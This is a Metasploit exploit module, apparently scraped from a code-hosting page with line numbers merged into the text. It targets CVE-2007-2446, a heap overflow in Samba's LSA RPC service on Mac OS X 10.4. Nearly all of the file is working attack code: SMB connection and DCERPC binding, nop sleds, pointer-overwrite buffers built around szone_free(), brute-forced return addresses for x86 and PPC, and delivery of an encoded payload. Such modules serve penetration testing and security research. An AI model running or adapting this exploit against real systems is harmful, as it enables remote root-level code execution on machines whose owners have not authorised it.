Path: blob/master/modules/exploits/osx/samba/lsa_transnames_heap.rb
19849 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::Brute1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Samba lsa_io_trans_names Heap Overflow',17'Description' => %q{18This module triggers a heap overflow in the LSA RPC service19of the Samba daemon. This module uses the szone_free() to overwrite20the size() or free() pointer in initial_malloc_zones structure.21},22'Author' => [23'Ramon de C Valle',24'Adriano Lima <adriano[at]risesecurity.org>',25'hdm'26],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2007-2446'],30['OSVDB', '34699'],31],32'Privileged' => true,33'Payload' => {34'Space' => 1024,35},36'Platform' => 'osx',37'DefaultOptions' => {38'PrependSetresuid' => true,39},40'Targets' => [41[42'Mac OS X 10.4.x x86 Samba 3.0.10',43{44'Platform' => 'osx',45'Arch' => [ ARCH_X86 ],46'Nops' => 4 * 1024,47'Bruteforce' =>48{49'Start' => { 'Ret' => 0x01818000 },50'Stop' => { 'Ret' => 0x01830000 },51'Step' => 3351,52},53}54],55[56'Mac OS X 10.4.x PPC Samba 3.0.10',57{58'Platform' => 'osx',59'Arch' => [ ARCH_PPC ],60'Nops' => 1600,61'Bruteforce' =>62{63'Start' => { 'Ret' => 0x01813000 },64'Stop' => { 'Ret' => 0x01830000 },65'Step' => 796,66}67}68],69[70'DEBUG',71{72'Platform' => 'osx',73'Arch' => [ ARCH_X86 ],74'Nops' => 4 * 1024,75'Bruteforce' =>76{77'Start' => { 'Ret' => 0xaabbccdd },78'Stop' => { 'Ret' => 0xaabbccdd },79'Step' => 0,80}81}82],83],84'DisclosureDate' => '2007-05-14',85'Notes' => {86'Reliability' => UNKNOWN_RELIABILITY,87'Stability' => UNKNOWN_STABILITY,88'SideEffects' => UNKNOWN_SIDE_EFFECTS89}90)91)9293register_options(94[95OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),96]97)98end99100# Handle a strange byteswapping issue on PPC101def ppc_byteswap(addr)102data = [addr].pack('N')103(data[1, 1] + data[0, 1] + data[3, 1] + data[2, 1]).unpack('N')[0]104end105106def brute_exploit(target_addrs)107if (not @nops)108if (target['Nops'] > 0)109print_status("Creating nop sled....")110@nops = make_nops(target['Nops'])111else112@nops = ''113end114end115116print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])117118pipe = datastore['SMBPIPE'].downcase119120print_status("Connecting to the SMB service...")121connect()122smb_login()123124datastore['DCERPC::fake_bind_multi'] = false125126handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])127print_status("Binding to #{handle} ...")128dcerpc_bind(handle)129print_status("Bound to #{handle} ...")130131num_entries = 256132num_entries2 = 257133134#135# First talloc_chunk136# 16 bits align137# 16 bits sid_name_use138# 16 bits uni_str_len139# 16 bits uni_max_len140# 32 bits buffer141# 32 bits domain_idx142#143buf = (('A' * 16) * num_entries)144145# Padding146buf << 'A' * 4147148#149# Use the szone_free() to overwrite the size() pointer in150# initial_malloc_zones structure.151#152size_pointer = 0x1800008153154# Initial nops array155nops = ''156157# x86158if (target.arch.include?(ARCH_X86))159160#161# We don't use the size() pointer anymore because it162# results in a unexpected behavior when smbd process163# is started by launchd.164#165free_pointer = 0x1800018166nop = "\x16"167168#169# First talloc_chunk170# 16 bits align171# 16 bits sid_name_use172# 16 bits uni_str_len173# 16 bits uni_max_len174# 32 bits buffer175# 32 bits domain_idx176#177178# First nop block179buf = ((nop * 16) * num_entries)180181#182# A nop block of 0x16 (pushl %ss) and the address of183# 0x1800014 results in a jns instruction which when184# executed will jump over the address written eight185# bytes past our target address by szone_free() (the186# sign flag is zero at the moment our target address is187# executed).188#189# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379190#191# This is the output of the sequence of xor operations192# 0: 79 23 jns 0x25193# 2: 96 xchgl %eax,%esi194# 3: 17 popl %ss195# 4: 16 pushl %ss196# 5: 16 pushl %ss197# 6: 16 pushl %ss198# 7: 16 pushl %ss199# 8: 14 00 adcb $0x0,%al200# a: 80 01 16 addb $0x16,(%ecx)201#202# This jump is needed because the ecx register does not203# point to a valid memory location in free() context204# (it is zero).205#206# The jump will hit our nop block which will be executed207# until it reaches the payload.208#209210# Padding nops211buf << nop * 2212213# Jump over the pointers214buf << "\xeb\x08"215216# Pointers217buf << [target_addrs['Ret']].pack('V')218buf << [free_pointer - 4].pack('V')219220#221# We expect to hit this nop block or the one before222# the pointers.223#224buf << nop * (3852 - 8 - payload.encoded.length)225226# Payload227buf << payload.encoded228229# Padding nops230buf << nop * 1024231232stub = lsa_open_policy(dcerpc)233234stub << NDR.long(0) # num_entries235stub << NDR.long(0) # ptr_sid_enum236stub << NDR.long(num_entries) # num_entries237stub << NDR.long(0x20004) # ptr_trans_names238stub << NDR.long(num_entries2) # num_entries2239stub << buf240241# PPC242else243244#245# The first half of the nop sled is an XOR encoded branch246# instruction. The second half is a series of unencoded nop247# instructions. The result is:248#249# > This is the decoded branch instruction250# 0x181c380: bl 0x181c6a0251#252# > The size pointer is written below this253# 0x181c384: .long 0x1800004254#255# > Followed by the encoded branch sled256# 0x181c388: ba 0x180365c257# [ ... ]258#259# > The branch lands in the normal nop sled260# 0x181c6a0: andi. r17,r16,58162261# [ ... ]262#263# > Finally we reach our payload :-)264#265266size_pointer = size_pointer - 4267268sled = target['Nops']269jump = [ 0x357b ^ (size_pointer ^ (0x48000001 + sled / 2)) ].pack('N')270nops = (jump * (sled / 8)) + @nops[0, sled / 8]271272addr_size = ppc_byteswap(size_pointer)273addr_ret = ppc_byteswap(target_addrs['Ret'])274275# This oddness is required for PPC276buf << [addr_size].pack('N')277buf << [addr_ret ].pack('N')[2, 2]278buf << [addr_ret ].pack('N')279280# Padding281buf << "A" * (256 - 10)282283stub = lsa_open_policy(dcerpc)284285stub << NDR.long(0) # num_entries286stub << NDR.long(0) # ptr_sid_enum287stub << NDR.long(num_entries) # num_entries288stub << NDR.long(0x20004) # ptr_trans_names289stub << NDR.long(num_entries2) # num_entries2290stub << buf291stub << nops292stub << payload.encoded293end294295print_status("Calling the vulnerable function...")296297begin298# LsarLookupSids299dcerpc.call(0x0f, stub)300rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError301print_status('Server did not respond, this is expected')302rescue Rex::Proto::DCERPC::Exceptions::Fault303print_error('Server is most likely patched...')304rescue => e305if e.to_s =~ /STATUS_PIPE_DISCONNECTED/306print_status('Server disconnected, this is expected')307else308print_error("Error: #{e.class}: #{e}")309end310end311312handler313disconnect314end315316def lsa_open_policy(dcerpc, server = "\\")317stubdata =318# Server319NDR.uwstring(server) +320# Object Attributes321NDR.long(24) + # SIZE322NDR.long(0) + # LSPTR323NDR.long(0) + # NAME324NDR.long(0) + # ATTRS325NDR.long(0) + # SEC DES326# LSA QOS PTR327NDR.long(1) + # Referent328NDR.long(12) + # Length329NDR.long(2) + # Impersonation330NDR.long(1) + # Context Tracking331NDR.long(0) + # Effective Only332# Access Mask333NDR.long(0x02000000)334335res = dcerpc.call(6, stubdata)336337dcerpc.last_response.stub_data[0, 20]338end339end340341342